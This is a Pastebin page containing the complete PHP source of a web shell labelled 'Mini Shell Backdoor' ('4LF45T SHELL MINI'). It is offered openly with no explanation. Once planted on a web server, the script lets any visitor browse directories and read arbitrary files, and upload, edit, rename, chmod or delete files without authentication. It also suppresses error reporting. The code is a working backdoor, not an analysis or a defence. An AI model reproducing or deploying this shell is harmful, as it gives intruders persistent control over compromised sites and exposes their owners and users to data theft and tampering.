API tools faq
paste
Advertisement
jefrialdi33

my

jefrialdi33
Jun 6th, 2020
459
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.21 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. error_reporting(0);
  4. set_time_limit(0);
  5.  
  6. if(get_magic_quotes_gpc()){
  7. foreach($_POST as $key=>$value){
  8. $_POST[$key] = stripslashes($value);
  9. }
  10. }
  11. echo '<!DOCTYPE HTML>
  12. <HTML>
  13. <HEAD>
  14. <link href="" rel="stylesheet" type="text/css">
  15. <title>4LF45T SHELL MINI</title><link rel="SHORTCUT ICON" href="http://www.hi5style.com/gr/heart.gif">
  16. <style>
  17. body{
  18. font-family: "Courier", cursive;
  19. color: #fff;
  20. background-color: #000;
  21. text-shadow:0px 0px 1px #757575;
  22. }
  23. #content tr:hover{
  24. background-color: red;
  25. }
  26. #content .first{
  27. background-color: red;
  28. }
  29. #content .first:hover{
  30. background-color: red;
  31. text-shadow:0px 0px 1px #757575;
  32. }
  33. H1{
  34. font-family: "Courier", cursive;
  35. color: #fff;
  36. }
  37. a{
  38. color: #fff;
  39. text-decoration: none;
  40. }
  41. a:hover{
  42. color: #fff;
  43. text-shadow:0px 0px 5px #ffffff;
  44. }
  45. input,select,textarea{
  46. border: 1px #fff solid;
  47. -moz-border-radius: 5px;
  48. -webkit-border-radius:5px;
  49. border-radius:5px;
  50. }
  51. </style>
  52. </HEAD>
  53. <BODY>
  54. <H1><center>Mini Shell Backdoor</center></H1>
  55. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  56. <tr><td>Current Path : ';
  57. if(isset($_GET['path'])){
  58. $path = $_GET['path'];
  59. }else{
  60. $path = getcwd();
  61. }
  62. $path = str_replace('\\','/',$path);
  63. $paths = explode('/',$path);
  64.  
  65. foreach($paths as $id=>$pat){
  66. if($pat == '' && $id == 0){
  67. $a = true;
  68. echo '<a href="?path=/">/</a>';
  69. continue;
  70. }
  71. if($pat == '') continue;
  72. echo '<a href="?path=';
  73. for($i=0;$i<=$id;$i++){
  74. echo "$paths[$i]";
  75. if($i != $id) echo "/";
  76. }
  77. echo '">'.$pat.'</a>/';
  78. }
  79. echo '</td></tr><tr><td>';
  80. /*upload*/
  81. if(isset($_FILES['file'])){
  82. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  83. echo '<font color="green">Upload File Success!</font><br />';
  84. }else{
  85. echo '<font color="red">Failed for Upload File!</font><br />';
  86. }
  87. }
  88. echo '<form enctype="multipart/form-data" method="POST">
  89. Upload File : <input type="file" name="file" />
  90. <input type="submit" value="upload" />
  91. </form>
  92. </td></tr>';
  93. /*view file*/
  94. if(isset($_GET['filesrc'])){
  95. echo "<tr><td>Current File : ";
  96. echo $_GET['filesrc'];
  97. echo '</tr></td></table><br />';
  98. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  99. /*delete file and dir*/
  100. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  101. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  102. /*chmod file and dir*/
  103. if($_POST['opt'] == 'chmod'){
  104. if(isset($_POST['perm'])){
  105. if(chmod($_POST['path'],$_POST['perm'])){
  106. echo '<font color="green">Change Permission Success~!</font><br />';
  107. }else{
  108. echo '<font color="red">Failed for Change Permission !</font><br />';
  109. }
  110. }
  111. echo '<form method="POST">
  112. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  113. <input type="hidden" name="path" value="'.$_POST['path'].'">
  114. <input type="hidden" name="opt" value="chmod">
  115. <input type="submit" value="Go" />
  116. </form>';
  117. /*rename dir and file*/
  118. }elseif($_POST['opt'] == 'rename'){
  119. if(isset($_POST['newname'])){
  120. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  121. echo '<font color="green">Change Name Success!</font><br />';
  122. }else{
  123. echo '<font color="red">Failed for Change Name !</font><br />';
  124. }
  125. $_POST['name'] = $_POST['newname'];
  126. }
  127. echo '<form method="POST">
  128. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  129. <input type="hidden" name="path" value="'.$_POST['path'].'">
  130. <input type="hidden" name="opt" value="rename">
  131. <input type="submit" value="Go" />
  132. </form>';
  133. /*edit file*/
  134. }elseif($_POST['opt'] == 'edit'){
  135. if(isset($_POST['src'])){
  136. $fp = fopen($_POST['path'],'w');
  137. if(fwrite($fp,$_POST['src'])){
  138. echo '<font color="green">Edit File Success!</font><br />';
  139. }else{
  140. echo '<font color="red">Failed for Edit File!</font><br />';
  141. }
  142. fclose($fp);
  143. }
  144. echo '<form method="POST">
  145. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  146. <input type="hidden" name="path" value="'.$_POST['path'].'">
  147. <input type="hidden" name="opt" value="edit">
  148. <input type="submit" value="Go" />
  149. </form>';
  150. }
  151. echo '</center>';
  152. }else{
  153. echo '</table><br /><center>';
  154. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  155. if($_POST['type'] == 'dir'){
  156. if(rmdir($_POST['path'])){
  157. echo '<font color="green">Delete Dir Success!</font><br />';
  158. }else{
  159. echo '<font color="red">Failed for Delete Dir!</font><br />';
  160. }
  161. }elseif($_POST['type'] == 'file'){
  162. if(unlink($_POST['path'])){
  163. echo '<font color="green">Delete File Success!</font><br />';
  164. }else{
  165. echo '<font color="red">Failed for Edit File!</font><br />';
  166. }
  167. }
  168. }
  169. echo '</center>';
  170. $scandir = scandir($path);
  171. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  172. <tr class="first">
  173. <td><center>Name</center></td>
  174. <td><center>Size</center></td>
  175. <td><center>Permissions</center></td>
  176. <td><center>Options</center></td>
  177. </tr>';
  178.  
  179. foreach($scandir as $dir){
  180. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  181. echo "<tr>
  182. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  183. <td><center>--</center></td>
  184. <td><center>";
  185. if(is_writable("$path/$dir")) echo '<font color="green">';
  186. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  187. echo perms("$path/$dir");
  188. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  189.  
  190. echo "</center></td>
  191. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  192. <select name=\"opt\">
  193. <option value=\"\"></option>
  194. <option value=\"delete\">Delete</option>
  195. <option value=\"chmod\">Chmod</option>
  196. <option value=\"rename\">Rename</option>
  197. </select>
  198. <input type=\"hidden\" name=\"type\" value=\"dir\">
  199. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  200. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  201. <input type=\"submit\" value=\">\" />
  202. </form></center></td>
  203. </tr>";
  204. }
  205. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  206. foreach($scandir as $file){
  207. if(!is_file("$path/$file")) continue;
  208. $size = filesize("$path/$file")/1024;
  209. $size = round($size,3);
  210. if($size >= 1024){
  211. $size = round($size/1024,2).' MB';
  212. }else{
  213. $size = $size.' KB';
  214. }
  215.  
  216. echo "<tr>
  217. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  218. <td><center>".$size."</center></td>
  219. <td><center>";
  220. if(is_writable("$path/$file")) echo '<font color="green">';
  221. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  222. echo perms("$path/$file");
  223. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  224. echo "</center></td>
  225. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  226. <select name=\"opt\">
  227. <option value=\"\"></option>
  228. <option value=\"delete\">Delete</option>
  229. <option value=\"chmod\">Chmod</option>
  230. <option value=\"rename\">Rename</option>
  231. <option value=\"edit\">Edit</option>
  232. </select>
  233. <input type=\"hidden\" name=\"type\" value=\"file\">
  234. <input type=\"hidden\" name=\"name\" value=\"$file\">
  235. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  236. <input type=\"submit\" value=\">\" />
  237. </form></center></td>
  238. </tr>";
  239. }
  240. echo '</table>
  241. </div>';
  242. }
  243. echo '
  244. </BODY>
  245. </HTML>';
  246. function perms($file){
  247. $perms = fileperms($file);
  248.  
  249. if (($perms & 0xC000) == 0xC000) {
  250. // Socket
  251. $info = 's';
  252. } elseif (($perms & 0xA000) == 0xA000) {
  253. // Symbolic Link
  254. $info = 'l';
  255. } elseif (($perms & 0x8000) == 0x8000) {
  256. // Regular
  257. $info = '-';
  258. } elseif (($perms & 0x6000) == 0x6000) {
  259. // Block special
  260. $info = 'b';
  261. } elseif (($perms & 0x4000) == 0x4000) {
  262. // Directory
  263. $info = 'd';
  264. } elseif (($perms & 0x2000) == 0x2000) {
  265. // Character special
  266. $info = 'c';
  267. } elseif (($perms & 0x1000) == 0x1000) {
  268. // FIFO pipe
  269. $info = 'p';
  270. } else {
  271. // Unknown
  272. $info = 'u';
  273. }
  274.  
  275. // Owner
  276. $info .= (($perms & 0x0100) ? 'r' : '-');
  277. $info .= (($perms & 0x0080) ? 'w' : '-');
  278. $info .= (($perms & 0x0040) ?
  279. (($perms & 0x0800) ? 's' : 'x' ) :
  280. (($perms & 0x0800) ? 'S' : '-'));
  281.  
  282. // Group
  283. $info .= (($perms & 0x0020) ? 'r' : '-');
  284. $info .= (($perms & 0x0010) ? 'w' : '-');
  285. $info .= (($perms & 0x0008) ?
  286. (($perms & 0x0400) ? 's' : 'x' ) :
  287. (($perms & 0x0400) ? 'S' : '-'));
  288.  
  289. // World
  290. $info .= (($perms & 0x0004) ? 'r' : '-');
  291. $info .= (($perms & 0x0002) ? 'w' : '-');
  292. $info .= (($perms & 0x0001) ?
  293. (($perms & 0x0200) ? 't' : 'x' ) :
  294. (($perms & 0x0200) ? 'T' : '-'));
  295.  
  296. return $info;
  297. }
  298. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!